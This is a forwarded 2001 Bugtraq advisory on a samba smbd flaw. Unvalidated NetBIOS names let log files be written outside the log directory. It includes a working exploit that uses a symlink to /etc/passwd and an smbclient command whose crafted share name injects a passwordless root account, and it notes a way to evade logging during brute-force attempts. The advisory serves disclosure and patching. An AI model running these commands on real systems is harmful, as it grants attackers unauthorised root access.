smbd remote file creation vulnerability (fwd)

[Adam McDougall]

FYI

---------- Forwarded message ----------
Date: Sat, 23 Jun 2001 23:24:26 -0400 (EDT)
From: Michal Zalewski <lcamtuf@bos.bindview.com>
To: bugtraq@securityfocus.com
Subject: smbd remote file creation vulnerability


** Please hold with approving this one before Monday, if possible.
** This is a forced release.

Author: Michal Zalewski <lcamtuf@razor.bindview.com>

Topic:

   Insufficient parameter validation and unsafe default configuration
   make numerous systems running samba SMB file sharing daemon vulnerable
   to remote attacks.

Vulnerable platforms:

   Tested on smbd 2.0.7 shipped with RedHat Linux 7.0 and 7.1. Confirmed
   on 2.0.8.

Overview:

   Due to insufficient NetBIOS computer name validation in incoming SMB
   requests, in conjunction with default configuration found for example
   in RedHat Linux and derivates, samba daemon allows remote attackers
   to create SMB session log files (*.log) with highly attacker-dependent
   contents outside outside logs directory. This vulnerability itself can
   be used to perform DoS attacks, or, if combined with unprivileged local
   access, can be used to gain superuser privileges.

   On vulnerable platforms, by default, each SMB session is logged
   to the file /var/log/samba/<netbios-name>.log. If the attacker is
   connecting from 'FOOBAR', logs would be put in /var/log/foobar.log.
   Unfortunately, NetBIOS name '../../../evil' would be accepted, as well,
   creating /evil.log file.

   This vulnerability is exploitable if the following setting is present
   in smb.conf file:

   log file = /var/log/samba/%m.log

   ...which is default on major Linux distributions, and probably few
   other platforms, as well. On some systems, configuration might be
   different:

   log file = /usr/local/samba/var/log.%m

   In the second case (e.g. FreeBSD), there is usually no way to exploit
   this vulnerability.

   Additionally, as noticed by Mark Loveless, using specific NetBIOS
   names, like 'non/existing/dir', it is possible to avoid logging
   of error messages (e.g. authentication failures) at all, which might be
   very useful for performing brute-force attacks.

   Note that any non-default configuration not using any prefix or
   suffix (log- or .log) in log filename would be vulnerable to
   instant remote compromise.

Exploit:

   This is the scenario of local privilege escalation attack against
   RedHat 7.x installation:

   $ ln -s /etc/passwd /tmp/x.log

   $ smbclient //NIMUE/"`perl -e '{print "\ntoor::0:0::/:/bin/sh\n"}'`" \
     -n ../../../tmp/x -N

   ...where 'NIMUE' stands for local host name (few error messages
   should be returned).

   $ su toor
   #

   Explaination of this attack is pretty trivial. Samba daemon tries
   to access logfile for host introducing itself as '../../../tmp/x'.
   This translates to open() on /var/log/samba/../../../tmp/x.log.
   Thus, /tmp/x.log is opened in O_APPEND mode, following previously
   created symlink to /etc/passwd.

   Then, anonymous attempt to mount non-existing share named
   "\ntoor::0:0::/:/bin/sh\n" is logged in /tmp/x.log, or, if you
   prefer, in /etc/passwd. Error message looks this way:

   [2001/06/22 14:53:03, 1] smbd/reply.c:reply_sesssetup_and_X(925)
     Rejecting user 'lcamtuf': authentication failed
   [2001/06/22 14:53:03, 0] smbd/service.c:make_connection(214)
     ../../../tmp/x (192.233.133.108) couldn't find service
     toor::0:0::/:/bin/sh

   The last line is, obviously, accepted by /bin/su or /bin/login.

Fix information:

   As a temporary workaround, we suggest changing 'log file' setting,
   as described above. This vulnerability has been confirmed by the
   vendor, and is addressed there:

   http://us1.samba.org/samba/whatsnew/macroexploit.html

   Removing '%m' at all would protect against attackers trying to avoid
   logging at all. Vendor was informed, fix will be publicly available
   soon.